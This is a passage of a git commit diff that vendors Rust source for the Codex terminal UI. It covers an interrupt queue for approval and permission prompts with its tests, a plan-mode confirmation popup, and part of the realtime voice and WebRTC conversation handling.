Vendor Codex and land Phase 1 Epiphany state slice
This commit is contained in:
parent
130e074c69
commit
2042687e30
3959 changed files with 953751 additions and 7 deletions
254
vendor/codex/codex-rs/tui/src/chatwidget/interrupts.rs
vendored
Normal file
254
vendor/codex/codex-rs/tui/src/chatwidget/interrupts.rs
vendored
Normal file
|
|
@ -0,0 +1,254 @@
|
|||
use std::collections::VecDeque;
|
||||
|
||||
use crate::app::app_server_requests::ResolvedAppServerRequest;
|
||||
use codex_protocol::approvals::ElicitationRequestEvent;
|
||||
use codex_protocol::protocol::ApplyPatchApprovalRequestEvent;
|
||||
use codex_protocol::protocol::ExecApprovalRequestEvent;
|
||||
use codex_protocol::protocol::ExecCommandBeginEvent;
|
||||
use codex_protocol::protocol::ExecCommandEndEvent;
|
||||
use codex_protocol::protocol::McpToolCallBeginEvent;
|
||||
use codex_protocol::protocol::McpToolCallEndEvent;
|
||||
use codex_protocol::protocol::PatchApplyEndEvent;
|
||||
use codex_protocol::request_permissions::RequestPermissionsEvent;
|
||||
use codex_protocol::request_user_input::RequestUserInputEvent;
|
||||
|
||||
use super::ChatWidget;
|
||||
|
||||
#[derive(Debug)]
|
||||
pub(crate) enum QueuedInterrupt {
|
||||
ExecApproval(ExecApprovalRequestEvent),
|
||||
ApplyPatchApproval(ApplyPatchApprovalRequestEvent),
|
||||
Elicitation(ElicitationRequestEvent),
|
||||
RequestPermissions(RequestPermissionsEvent),
|
||||
RequestUserInput(RequestUserInputEvent),
|
||||
ExecBegin(ExecCommandBeginEvent),
|
||||
ExecEnd(ExecCommandEndEvent),
|
||||
McpBegin(McpToolCallBeginEvent),
|
||||
McpEnd(McpToolCallEndEvent),
|
||||
PatchEnd(PatchApplyEndEvent),
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub(crate) struct InterruptManager {
|
||||
queue: VecDeque<QueuedInterrupt>,
|
||||
}
|
||||
|
||||
impl InterruptManager {
|
||||
pub(crate) fn new() -> Self {
|
||||
Self {
|
||||
queue: VecDeque::new(),
|
||||
}
|
||||
}
|
||||
|
||||
#[inline]
|
||||
pub(crate) fn is_empty(&self) -> bool {
|
||||
self.queue.is_empty()
|
||||
}
|
||||
|
||||
pub(crate) fn push_exec_approval(&mut self, ev: ExecApprovalRequestEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::ExecApproval(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_apply_patch_approval(&mut self, ev: ApplyPatchApprovalRequestEvent) {
|
||||
self.queue
|
||||
.push_back(QueuedInterrupt::ApplyPatchApproval(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_elicitation(&mut self, ev: ElicitationRequestEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::Elicitation(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_request_permissions(&mut self, ev: RequestPermissionsEvent) {
|
||||
self.queue
|
||||
.push_back(QueuedInterrupt::RequestPermissions(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_user_input(&mut self, ev: RequestUserInputEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::RequestUserInput(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_exec_begin(&mut self, ev: ExecCommandBeginEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::ExecBegin(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_exec_end(&mut self, ev: ExecCommandEndEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::ExecEnd(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_mcp_begin(&mut self, ev: McpToolCallBeginEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::McpBegin(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_mcp_end(&mut self, ev: McpToolCallEndEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::McpEnd(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_patch_end(&mut self, ev: PatchApplyEndEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::PatchEnd(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn remove_resolved_prompt(&mut self, request: &ResolvedAppServerRequest) -> bool {
|
||||
let original_len = self.queue.len();
|
||||
self.queue
|
||||
.retain(|queued| !queued.matches_resolved_prompt(request));
|
||||
self.queue.len() != original_len
|
||||
}
|
||||
|
||||
pub(crate) fn flush_all(&mut self, chat: &mut ChatWidget) {
|
||||
while let Some(q) = self.queue.pop_front() {
|
||||
match q {
|
||||
QueuedInterrupt::ExecApproval(ev) => chat.handle_exec_approval_now(ev),
|
||||
QueuedInterrupt::ApplyPatchApproval(ev) => chat.handle_apply_patch_approval_now(ev),
|
||||
QueuedInterrupt::Elicitation(ev) => chat.handle_elicitation_request_now(ev),
|
||||
QueuedInterrupt::RequestPermissions(ev) => chat.handle_request_permissions_now(ev),
|
||||
QueuedInterrupt::RequestUserInput(ev) => chat.handle_request_user_input_now(ev),
|
||||
QueuedInterrupt::ExecBegin(ev) => chat.handle_exec_begin_now(ev),
|
||||
QueuedInterrupt::ExecEnd(ev) => chat.handle_exec_end_now(ev),
|
||||
QueuedInterrupt::McpBegin(ev) => chat.handle_mcp_begin_now(ev),
|
||||
QueuedInterrupt::McpEnd(ev) => chat.handle_mcp_end_now(ev),
|
||||
QueuedInterrupt::PatchEnd(ev) => chat.handle_patch_apply_end_now(ev),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl QueuedInterrupt {
|
||||
fn matches_resolved_prompt(&self, request: &ResolvedAppServerRequest) -> bool {
|
||||
match self {
|
||||
QueuedInterrupt::ExecApproval(ev) => {
|
||||
matches!(request, ResolvedAppServerRequest::ExecApproval { id }
|
||||
if ev.effective_approval_id() == id.as_str())
|
||||
}
|
||||
QueuedInterrupt::ApplyPatchApproval(ev) => {
|
||||
matches!(request, ResolvedAppServerRequest::FileChangeApproval { id }
|
||||
if ev.call_id == id.as_str())
|
||||
}
|
||||
QueuedInterrupt::Elicitation(ev) => {
|
||||
matches!(request, ResolvedAppServerRequest::McpElicitation {
|
||||
server_name,
|
||||
request_id,
|
||||
} if ev.server_name == server_name.as_str() && &ev.id == request_id)
|
||||
}
|
||||
QueuedInterrupt::RequestPermissions(ev) => {
|
||||
matches!(request, ResolvedAppServerRequest::PermissionsApproval { id }
|
||||
if ev.call_id == id.as_str())
|
||||
}
|
||||
QueuedInterrupt::RequestUserInput(ev) => {
|
||||
matches!(request, ResolvedAppServerRequest::UserInput { call_id }
|
||||
if ev.call_id == call_id.as_str())
|
||||
}
|
||||
QueuedInterrupt::ExecBegin(_)
|
||||
| QueuedInterrupt::ExecEnd(_)
|
||||
| QueuedInterrupt::McpBegin(_)
|
||||
| QueuedInterrupt::McpEnd(_)
|
||||
| QueuedInterrupt::PatchEnd(_) => false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use codex_protocol::approvals::ExecApprovalRequestEvent;
|
||||
use codex_protocol::protocol::ExecCommandBeginEvent;
|
||||
use codex_protocol::protocol::ExecCommandSource;
|
||||
use codex_protocol::request_user_input::RequestUserInputEvent;
|
||||
use codex_utils_absolute_path::AbsolutePathBuf;
|
||||
use pretty_assertions::assert_eq;
|
||||
|
||||
use super::*;
|
||||
|
||||
fn user_input(call_id: &str, turn_id: &str) -> RequestUserInputEvent {
|
||||
RequestUserInputEvent {
|
||||
call_id: call_id.to_string(),
|
||||
turn_id: turn_id.to_string(),
|
||||
questions: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
fn exec_approval(call_id: &str, approval_id: Option<&str>) -> ExecApprovalRequestEvent {
|
||||
ExecApprovalRequestEvent {
|
||||
call_id: call_id.to_string(),
|
||||
approval_id: approval_id.map(str::to_string),
|
||||
turn_id: "turn".to_string(),
|
||||
command: vec!["true".to_string()],
|
||||
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
|
||||
reason: None,
|
||||
network_approval_context: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
proposed_network_policy_amendments: None,
|
||||
additional_permissions: None,
|
||||
available_decisions: None,
|
||||
parsed_cmd: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
fn exec_begin(call_id: &str) -> ExecCommandBeginEvent {
|
||||
ExecCommandBeginEvent {
|
||||
call_id: call_id.to_string(),
|
||||
process_id: None,
|
||||
turn_id: "turn".to_string(),
|
||||
command: vec!["true".to_string()],
|
||||
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
|
||||
parsed_cmd: Vec::new(),
|
||||
source: ExecCommandSource::Agent,
|
||||
interaction_input: None,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remove_resolved_prompt_removes_matching_user_input_only() {
|
||||
let mut manager = InterruptManager::new();
|
||||
manager.push_user_input(user_input("call-a", "turn"));
|
||||
manager.push_user_input(user_input("call-b", "turn"));
|
||||
|
||||
assert!(
|
||||
manager.remove_resolved_prompt(&ResolvedAppServerRequest::UserInput {
|
||||
call_id: "call-b".to_string(),
|
||||
})
|
||||
);
|
||||
|
||||
assert_eq!(manager.queue.len(), 1);
|
||||
let Some(QueuedInterrupt::RequestUserInput(remaining)) = manager.queue.front() else {
|
||||
panic!("expected remaining queued user input");
|
||||
};
|
||||
assert_eq!(remaining.call_id, "call-a");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remove_resolved_prompt_matches_exec_approval_id() {
|
||||
let mut manager = InterruptManager::new();
|
||||
manager.push_exec_approval(exec_approval("call", Some("approval")));
|
||||
|
||||
assert!(
|
||||
!manager.remove_resolved_prompt(&ResolvedAppServerRequest::ExecApproval {
|
||||
id: "call".to_string(),
|
||||
})
|
||||
);
|
||||
assert_eq!(manager.queue.len(), 1);
|
||||
|
||||
assert!(
|
||||
manager.remove_resolved_prompt(&ResolvedAppServerRequest::ExecApproval {
|
||||
id: "approval".to_string(),
|
||||
})
|
||||
);
|
||||
assert!(manager.queue.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remove_resolved_prompt_keeps_lifecycle_events() {
|
||||
let mut manager = InterruptManager::new();
|
||||
manager.push_exec_begin(exec_begin("call"));
|
||||
|
||||
assert!(
|
||||
!manager.remove_resolved_prompt(&ResolvedAppServerRequest::ExecApproval {
|
||||
id: "call".to_string(),
|
||||
})
|
||||
);
|
||||
|
||||
assert_eq!(manager.queue.len(), 1);
|
||||
assert!(matches!(
|
||||
manager.queue.front(),
|
||||
Some(QueuedInterrupt::ExecBegin(_))
|
||||
));
|
||||
}
|
||||
}
|
||||
114
vendor/codex/codex-rs/tui/src/chatwidget/plan_implementation.rs
vendored
Normal file
114
vendor/codex/codex-rs/tui/src/chatwidget/plan_implementation.rs
vendored
Normal file
|
|
@ -0,0 +1,114 @@
|
|||
use codex_protocol::config_types::CollaborationModeMask;
|
||||
|
||||
use crate::app_event::AppEvent;
|
||||
use crate::bottom_pane::SelectionAction;
|
||||
use crate::bottom_pane::SelectionItem;
|
||||
use crate::bottom_pane::SelectionViewParams;
|
||||
use crate::bottom_pane::popup_consts::standard_popup_hint_line;
|
||||
|
||||
pub(super) const PLAN_IMPLEMENTATION_TITLE: &str = "Implement this plan?";
|
||||
const PLAN_IMPLEMENTATION_YES: &str = "Yes, implement this plan";
|
||||
const PLAN_IMPLEMENTATION_CLEAR_CONTEXT: &str = "Yes, clear context and implement";
|
||||
const PLAN_IMPLEMENTATION_NO: &str = "No, stay in Plan mode";
|
||||
pub(super) const PLAN_IMPLEMENTATION_CODING_MESSAGE: &str = "Implement the plan.";
|
||||
pub(super) const PLAN_IMPLEMENTATION_CLEAR_CONTEXT_PREFIX: &str = concat!(
|
||||
"A previous agent produced the plan below to accomplish the user's task. ",
|
||||
"Implement the plan in a fresh context. Treat the plan as the source of ",
|
||||
"user intent, re-read files as needed, and carry the work through ",
|
||||
"implementation and verification."
|
||||
);
|
||||
pub(super) const PLAN_IMPLEMENTATION_DEFAULT_UNAVAILABLE: &str = "Default mode unavailable";
|
||||
pub(super) const PLAN_IMPLEMENTATION_NO_APPROVED_PLAN: &str = "No approved plan available";
|
||||
|
||||
/// Builds the confirmation prompt shown after a plan is approved in Plan mode.
|
||||
///
|
||||
/// The optional usage label is already phrased for display, such as `89% used`
|
||||
/// or `123K used`. This module only decides where that label belongs in the
|
||||
/// decision copy so action wiring stays separate from token accounting.
|
||||
pub(super) fn selection_view_params(
|
||||
default_mask: Option<CollaborationModeMask>,
|
||||
plan_markdown: Option<&str>,
|
||||
clear_context_usage_label: Option<&str>,
|
||||
) -> SelectionViewParams {
|
||||
let (implement_actions, implement_disabled_reason) = match default_mask.clone() {
|
||||
Some(mask) => {
|
||||
let user_text = PLAN_IMPLEMENTATION_CODING_MESSAGE.to_string();
|
||||
let actions: Vec<SelectionAction> = vec![Box::new(move |tx| {
|
||||
tx.send(AppEvent::SubmitUserMessageWithMode {
|
||||
text: user_text.clone(),
|
||||
collaboration_mode: mask.clone(),
|
||||
});
|
||||
})];
|
||||
(actions, None)
|
||||
}
|
||||
None => (
|
||||
Vec::new(),
|
||||
Some(PLAN_IMPLEMENTATION_DEFAULT_UNAVAILABLE.to_string()),
|
||||
),
|
||||
};
|
||||
|
||||
let (clear_context_actions, clear_context_disabled_reason) = match (default_mask, plan_markdown)
|
||||
{
|
||||
(None, _) => (
|
||||
Vec::new(),
|
||||
Some(PLAN_IMPLEMENTATION_DEFAULT_UNAVAILABLE.to_string()),
|
||||
),
|
||||
(Some(_), Some(plan_markdown)) if !plan_markdown.trim().is_empty() => {
|
||||
let user_text =
|
||||
format!("{PLAN_IMPLEMENTATION_CLEAR_CONTEXT_PREFIX}\n\n{plan_markdown}");
|
||||
let actions: Vec<SelectionAction> = vec![Box::new(move |tx| {
|
||||
tx.send(AppEvent::ClearUiAndSubmitUserMessage {
|
||||
text: user_text.clone(),
|
||||
});
|
||||
})];
|
||||
(actions, None)
|
||||
}
|
||||
(Some(_), _) => (
|
||||
Vec::new(),
|
||||
Some(PLAN_IMPLEMENTATION_NO_APPROVED_PLAN.to_string()),
|
||||
),
|
||||
};
|
||||
|
||||
let clear_context_description = clear_context_usage_label.map_or_else(
|
||||
|| "Fresh thread with this plan.".to_string(),
|
||||
|label| format!("Fresh thread. Context: {label}."),
|
||||
);
|
||||
|
||||
SelectionViewParams {
|
||||
title: Some(PLAN_IMPLEMENTATION_TITLE.to_string()),
|
||||
subtitle: None,
|
||||
footer_hint: Some(standard_popup_hint_line()),
|
||||
items: vec![
|
||||
SelectionItem {
|
||||
name: PLAN_IMPLEMENTATION_YES.to_string(),
|
||||
description: Some("Switch to Default and start coding.".to_string()),
|
||||
selected_description: None,
|
||||
is_current: false,
|
||||
actions: implement_actions,
|
||||
disabled_reason: implement_disabled_reason,
|
||||
dismiss_on_select: true,
|
||||
..Default::default()
|
||||
},
|
||||
SelectionItem {
|
||||
name: PLAN_IMPLEMENTATION_CLEAR_CONTEXT.to_string(),
|
||||
description: Some(clear_context_description),
|
||||
selected_description: None,
|
||||
is_current: false,
|
||||
actions: clear_context_actions,
|
||||
disabled_reason: clear_context_disabled_reason,
|
||||
dismiss_on_select: true,
|
||||
..Default::default()
|
||||
},
|
||||
SelectionItem {
|
||||
name: PLAN_IMPLEMENTATION_NO.to_string(),
|
||||
description: Some("Continue planning with the model.".to_string()),
|
||||
selected_description: None,
|
||||
is_current: false,
|
||||
actions: Vec::new(),
|
||||
dismiss_on_select: true,
|
||||
..Default::default()
|
||||
},
|
||||
],
|
||||
..Default::default()
|
||||
}
|
||||
}
|
||||
1405
vendor/codex/codex-rs/tui/src/chatwidget/plugins.rs
vendored
Normal file
1405
vendor/codex/codex-rs/tui/src/chatwidget/plugins.rs
vendored
Normal file
File diff suppressed because it is too large
Load diff
676
vendor/codex/codex-rs/tui/src/chatwidget/realtime.rs
vendored
Normal file
676
vendor/codex/codex-rs/tui/src/chatwidget/realtime.rs
vendored
Normal file
|
|
@ -0,0 +1,676 @@
|
|||
use super::*;
|
||||
use codex_config::config_toml::RealtimeTransport;
|
||||
use codex_protocol::protocol::ConversationStartParams;
|
||||
use codex_protocol::protocol::ConversationStartTransport;
|
||||
use codex_protocol::protocol::RealtimeAudioFrame;
|
||||
use codex_protocol::protocol::RealtimeConversationClosedEvent;
|
||||
use codex_protocol::protocol::RealtimeConversationRealtimeEvent;
|
||||
use codex_protocol::protocol::RealtimeConversationStartedEvent;
|
||||
use codex_protocol::protocol::RealtimeEvent;
|
||||
use codex_protocol::protocol::RealtimeOutputModality;
|
||||
use codex_realtime_webrtc::RealtimeWebrtcEvent;
|
||||
use codex_realtime_webrtc::RealtimeWebrtcSession;
|
||||
use codex_realtime_webrtc::RealtimeWebrtcSessionHandle;
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
use std::sync::atomic::AtomicU16;
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
use std::time::Duration;
|
||||
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
|
||||
pub(super) enum RealtimeConversationPhase {
|
||||
#[default]
|
||||
Inactive,
|
||||
Starting,
|
||||
Active,
|
||||
Stopping,
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub(super) struct RealtimeConversationUiState {
|
||||
pub(super) phase: RealtimeConversationPhase,
|
||||
requested_close: bool,
|
||||
session_id: Option<String>,
|
||||
transport: RealtimeConversationUiTransport,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
pub(super) meter_placeholder_id: Option<String>,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
capture_stop_flag: Option<Arc<AtomicBool>>,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
capture: Option<crate::voice::VoiceCapture>,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
audio_player: Option<crate::voice::RealtimeAudioPlayer>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Default)]
|
||||
enum RealtimeConversationUiTransport {
|
||||
#[default]
|
||||
Websocket,
|
||||
Webrtc {
|
||||
handle: Option<RealtimeWebrtcSessionHandle>,
|
||||
},
|
||||
}
|
||||
|
||||
impl RealtimeConversationUiState {
|
||||
pub(super) fn is_live(&self) -> bool {
|
||||
matches!(
|
||||
self.phase,
|
||||
RealtimeConversationPhase::Starting
|
||||
| RealtimeConversationPhase::Active
|
||||
| RealtimeConversationPhase::Stopping
|
||||
)
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
pub(super) fn is_active(&self) -> bool {
|
||||
matches!(self.phase, RealtimeConversationPhase::Active)
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
pub(super) struct RenderedUserMessageEvent {
|
||||
pub(super) message: String,
|
||||
pub(super) remote_image_urls: Vec<String>,
|
||||
pub(super) local_images: Vec<PathBuf>,
|
||||
pub(super) text_elements: Vec<TextElement>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
pub(super) struct PendingSteerCompareKey {
|
||||
pub(super) message: String,
|
||||
pub(super) image_count: usize,
|
||||
}
|
||||
|
||||
impl ChatWidget {
|
||||
pub(super) fn rendered_user_message_event_from_parts(
|
||||
message: String,
|
||||
text_elements: Vec<TextElement>,
|
||||
local_images: Vec<PathBuf>,
|
||||
remote_image_urls: Vec<String>,
|
||||
) -> RenderedUserMessageEvent {
|
||||
RenderedUserMessageEvent {
|
||||
message,
|
||||
remote_image_urls,
|
||||
local_images,
|
||||
text_elements,
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn rendered_user_message_event_from_event(
|
||||
event: &UserMessageEvent,
|
||||
) -> RenderedUserMessageEvent {
|
||||
Self::rendered_user_message_event_from_parts(
|
||||
event.message.clone(),
|
||||
event.text_elements.clone(),
|
||||
event.local_images.clone(),
|
||||
event.images.clone().unwrap_or_default(),
|
||||
)
|
||||
}
|
||||
|
||||
/// Build the compare key for a submitted pending steer without invoking the
|
||||
/// expensive request-serialization path. Pending steers only need to match the
|
||||
/// committed `ItemCompleted(UserMessage)` emitted after core drains input, which
|
||||
/// preserves flattened text and total image count but not UI-only text ranges or
|
||||
/// local image paths.
|
||||
pub(super) fn pending_steer_compare_key_from_items(
|
||||
items: &[UserInput],
|
||||
) -> PendingSteerCompareKey {
|
||||
let mut message = String::new();
|
||||
let mut image_count = 0;
|
||||
|
||||
for item in items {
|
||||
match item {
|
||||
UserInput::Text { text, .. } => message.push_str(text),
|
||||
UserInput::Image { .. } | UserInput::LocalImage { .. } => image_count += 1,
|
||||
UserInput::Skill { .. } | UserInput::Mention { .. } => {}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
PendingSteerCompareKey {
|
||||
message,
|
||||
image_count,
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn pending_steer_compare_key_from_item(
|
||||
item: &codex_protocol::items::UserMessageItem,
|
||||
) -> PendingSteerCompareKey {
|
||||
Self::pending_steer_compare_key_from_items(&item.content)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
pub(super) fn rendered_user_message_event_from_inputs(
|
||||
items: &[UserInput],
|
||||
) -> RenderedUserMessageEvent {
|
||||
let mut message = String::new();
|
||||
let mut remote_image_urls = Vec::new();
|
||||
let mut local_images = Vec::new();
|
||||
let mut text_elements = Vec::new();
|
||||
|
||||
for item in items {
|
||||
match item {
|
||||
UserInput::Text {
|
||||
text,
|
||||
text_elements: current_text_elements,
|
||||
} => append_text_with_rebased_elements(
|
||||
&mut message,
|
||||
&mut text_elements,
|
||||
text,
|
||||
current_text_elements.iter().map(|element| {
|
||||
TextElement::new(
|
||||
element.byte_range,
|
||||
element.placeholder(text).map(str::to_string),
|
||||
)
|
||||
}),
|
||||
),
|
||||
UserInput::Image { image_url } => remote_image_urls.push(image_url.clone()),
|
||||
UserInput::LocalImage { path } => local_images.push(path.clone()),
|
||||
UserInput::Skill { .. } | UserInput::Mention { .. } => {}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
Self::rendered_user_message_event_from_parts(
|
||||
message,
|
||||
text_elements,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
pub(super) fn should_render_realtime_user_message_event(
|
||||
&self,
|
||||
event: &UserMessageEvent,
|
||||
) -> bool {
|
||||
if !self.realtime_conversation.is_live() {
|
||||
return false;
|
||||
}
|
||||
let key = Self::rendered_user_message_event_from_event(event);
|
||||
self.last_rendered_user_message_event.as_ref() != Some(&key)
|
||||
}
|
||||
|
||||
fn realtime_footer_hint_items() -> Vec<(String, String)> {
|
||||
vec![("/realtime".to_string(), "stop live voice".to_string())]
|
||||
}
|
||||
|
||||
pub(super) fn stop_realtime_conversation_from_ui(&mut self) {
|
||||
self.request_realtime_conversation_close(/*info_message*/ None);
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
pub(crate) fn stop_realtime_conversation_for_deleted_meter(&mut self, id: &str) -> bool {
|
||||
if self.realtime_conversation.is_live()
|
||||
&& self.realtime_conversation.meter_placeholder_id.as_deref() == Some(id)
|
||||
{
|
||||
self.realtime_conversation.meter_placeholder_id = None;
|
||||
self.stop_realtime_conversation_from_ui();
|
||||
return true;
|
||||
}
|
||||
|
||||
false
|
||||
}
|
||||
|
||||
pub(super) fn start_realtime_conversation(&mut self) {
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Starting;
|
||||
self.realtime_conversation.requested_close = false;
|
||||
self.realtime_conversation.session_id = None;
|
||||
self.set_footer_hint_override(Some(Self::realtime_footer_hint_items()));
|
||||
match self.config.realtime.transport {
|
||||
RealtimeTransport::Websocket => {
|
||||
self.realtime_conversation.transport = RealtimeConversationUiTransport::Websocket;
|
||||
self.submit_realtime_conversation_start(/*transport*/ None);
|
||||
}
|
||||
RealtimeTransport::WebRtc => {
|
||||
self.realtime_conversation.transport =
|
||||
RealtimeConversationUiTransport::Webrtc { handle: None };
|
||||
start_realtime_webrtc_offer_task(self.app_event_tx.clone());
|
||||
}
|
||||
}
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
fn submit_realtime_conversation_start(
|
||||
&mut self,
|
||||
transport: Option<ConversationStartTransport>,
|
||||
) {
|
||||
self.submit_op(AppCommand::realtime_conversation_start(
|
||||
ConversationStartParams {
|
||||
output_modality: RealtimeOutputModality::Audio,
|
||||
prompt: None,
|
||||
session_id: None,
|
||||
transport,
|
||||
voice: self.config.realtime.voice,
|
||||
},
|
||||
));
|
||||
}
|
||||
|
||||
pub(super) fn request_realtime_conversation_close(&mut self, info_message: Option<String>) {
|
||||
if !self.realtime_conversation.is_live() {
|
||||
if let Some(message) = info_message {
|
||||
self.add_info_message(message, /*hint*/ None);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
self.realtime_conversation.requested_close = true;
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Stopping;
|
||||
self.submit_op(AppCommand::realtime_conversation_close());
|
||||
self.stop_realtime_local_audio();
|
||||
self.close_realtime_webrtc_transport();
|
||||
self.set_footer_hint_override(/*items*/ None);
|
||||
|
||||
if let Some(message) = info_message {
|
||||
self.add_info_message(message, /*hint*/ None);
|
||||
} else {
|
||||
self.request_redraw();
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn reset_realtime_conversation_state(&mut self) {
|
||||
self.stop_realtime_local_audio();
|
||||
self.close_realtime_webrtc_transport();
|
||||
self.set_footer_hint_override(/*items*/ None);
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Inactive;
|
||||
self.realtime_conversation.requested_close = false;
|
||||
self.realtime_conversation.session_id = None;
|
||||
self.realtime_conversation.transport = RealtimeConversationUiTransport::Websocket;
|
||||
}
|
||||
|
||||
fn fail_realtime_conversation(&mut self, message: String) {
|
||||
self.add_error_message(message);
|
||||
if self.realtime_conversation.is_live() {
|
||||
self.request_realtime_conversation_close(/*info_message*/ None);
|
||||
} else {
|
||||
self.reset_realtime_conversation_state();
|
||||
self.request_redraw();
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn on_realtime_conversation_started(
|
||||
&mut self,
|
||||
ev: RealtimeConversationStartedEvent,
|
||||
) {
|
||||
if !self.realtime_conversation_enabled() {
|
||||
self.request_realtime_conversation_close(/*info_message*/ None);
|
||||
return;
|
||||
}
|
||||
self.realtime_conversation.session_id = ev.session_id;
|
||||
self.set_footer_hint_override(Some(Self::realtime_footer_hint_items()));
|
||||
if self.realtime_conversation_uses_webrtc() {
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Starting;
|
||||
} else {
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Active;
|
||||
self.start_realtime_local_audio();
|
||||
}
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
pub(super) fn on_realtime_conversation_realtime(
|
||||
&mut self,
|
||||
ev: RealtimeConversationRealtimeEvent,
|
||||
) {
|
||||
if self.realtime_conversation_uses_webrtc()
|
||||
&& matches!(
|
||||
ev.payload,
|
||||
RealtimeEvent::AudioOut(_)
|
||||
| RealtimeEvent::InputAudioSpeechStarted(_)
|
||||
| RealtimeEvent::ResponseCreated(_)
|
||||
| RealtimeEvent::ResponseCancelled(_)
|
||||
| RealtimeEvent::ResponseDone(_)
|
||||
)
|
||||
{
|
||||
return;
|
||||
}
|
||||
match ev.payload {
|
||||
RealtimeEvent::SessionUpdated { session_id, .. } => {
|
||||
self.realtime_conversation.session_id = Some(session_id);
|
||||
}
|
||||
RealtimeEvent::InputAudioSpeechStarted(_) => self.interrupt_realtime_audio_playback(),
|
||||
RealtimeEvent::InputTranscriptDelta(_) => {}
|
||||
RealtimeEvent::InputTranscriptDone(_) => {}
|
||||
RealtimeEvent::OutputTranscriptDelta(_) => {}
|
||||
RealtimeEvent::OutputTranscriptDone(_) => {}
|
||||
RealtimeEvent::AudioOut(frame) => self.enqueue_realtime_audio_out(&frame),
|
||||
RealtimeEvent::ResponseCreated(_) => {}
|
||||
RealtimeEvent::ResponseCancelled(_) => self.interrupt_realtime_audio_playback(),
|
||||
RealtimeEvent::ResponseDone(_) => {}
|
||||
RealtimeEvent::ConversationItemAdded(_item) => {}
|
||||
RealtimeEvent::ConversationItemDone { .. } => {}
|
||||
RealtimeEvent::HandoffRequested(_) => {}
|
||||
RealtimeEvent::NoopRequested(_) => {}
|
||||
RealtimeEvent::Error(message) => {
|
||||
self.fail_realtime_conversation(format!("Realtime voice error: {message}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn on_realtime_conversation_closed(&mut self, ev: RealtimeConversationClosedEvent) {
|
||||
if self.realtime_conversation_uses_webrtc()
|
||||
&& self.realtime_conversation.is_live()
|
||||
&& ev.reason.as_deref() == Some("transport_closed")
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
let requested = self.realtime_conversation.requested_close;
|
||||
let reason = ev.reason;
|
||||
self.reset_realtime_conversation_state();
|
||||
if !requested
|
||||
&& let Some(reason) = reason
|
||||
&& reason != "error"
|
||||
{
|
||||
self.add_info_message(
|
||||
format!("Realtime voice mode closed: {reason}"),
|
||||
/*hint*/ None,
|
||||
);
|
||||
}
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
pub(super) fn on_realtime_conversation_sdp(&mut self, sdp: String) {
|
||||
let RealtimeConversationUiTransport::Webrtc {
|
||||
handle: Some(handle),
|
||||
} = &self.realtime_conversation.transport
|
||||
else {
|
||||
return;
|
||||
};
|
||||
|
||||
if let Err(err) = handle.apply_answer_sdp(sdp) {
|
||||
self.fail_realtime_conversation(format!("Failed to connect realtime WebRTC: {err}"));
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn on_realtime_webrtc_offer_created(
|
||||
&mut self,
|
||||
